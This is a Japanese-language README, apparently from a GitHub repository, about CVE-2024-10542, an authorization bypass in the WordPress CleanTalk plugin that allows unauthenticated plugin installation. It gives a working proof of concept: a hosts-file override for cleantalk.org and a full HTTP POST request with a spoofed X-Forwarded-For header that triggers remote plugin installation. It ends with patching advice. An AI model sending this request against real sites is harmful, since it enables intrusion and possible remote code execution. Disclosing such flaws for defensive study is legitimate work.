ubaydev/cve-2024-10542WordPress Spam protection、AntiSpam、FireWall by CleanTalk プラグイン <= 6.43.2 は、認証されていない任意のプラグインインストールに対して脆弱です。
この文書で提供される CVE-2024-10542 に関する情報は、学習および教育目的のみです。当方は、この情報を、悪用、システム改ざん、その他の違法行為を含む（これらに限定されない）有害な目的で使用することを推奨も許可もいたしません。
ますます複雑化するデジタル環境において、ウェブサイトのセキュリティを確保することは、多くのサイト運営者にとって最も重要です。最近、WordPress サイトに重大な脅威をもたらす 2 つの深刻な脆弱性が発見されました。これらの脆弱性は、スパム保護、アンチスパム対策、ファイアウォールを提供する有名な CleanTalk プラグインに影響を与えます。この状況をさらに緊急なものにしているのは何でしょうか？ 詳しく見ていきましょう！ CVE-2024-10542 および CVE-2024-10781 として追跡されている 2 つの脆弱性により、認証されていない攻撃者が影響を受けやすいサイトに悪意のあるプラグインをインストールして有効化できる可能性があります。これはサイトの評判を損なうだけでなく、攻撃者にリモートコード実行の扉を開くことにもなります。CVSS スコアが 10 点満点中 9.8 点であることから、これらの脆弱性が極めて危険なカテゴリに分類されることは明らかです。Wordfence によると、両方の脆弱性は認可バイパスの問題に関連しており、悪意のある攻撃者が任意のプラグインをインストールして有効化できる可能性があります。そして、有効化されたプラグイン自体に脆弱性がある場合、これはリモートコード実行への道を開くことになるのです。
まず、悪意のあるユーザーはオペレーティングシステムの hosts ファイルを次のように設定します:
127.0.0.1 cleantalk.org
その後、次のようなリクエストを送信します
POST /?plugin=wp-hooks-finder/index.php HTTP/1.1
Host: wordpress.test
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://wordpress.test
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
spbc_remote_call_action=install_plugin&plugin_name=apbct
サイバーセキュリティは、すべてのサイト運営者が共有する責任です。プラグインを最新の状態に保ち、潜在的な脆弱性に常に警戒することで、悪意のある攻撃からサイトを保護できます。CleanTalk を最新バージョンに更新し、他のプラグインも定期的にチェックして、最大限のセキュリティを確保してください。小さな一歩が大きな災難を防ぐことを忘れないでください！
アッラー、預言者ムハンマド（SAW）、mikemyers、Markdown Monster、私の家族、そしてあなた？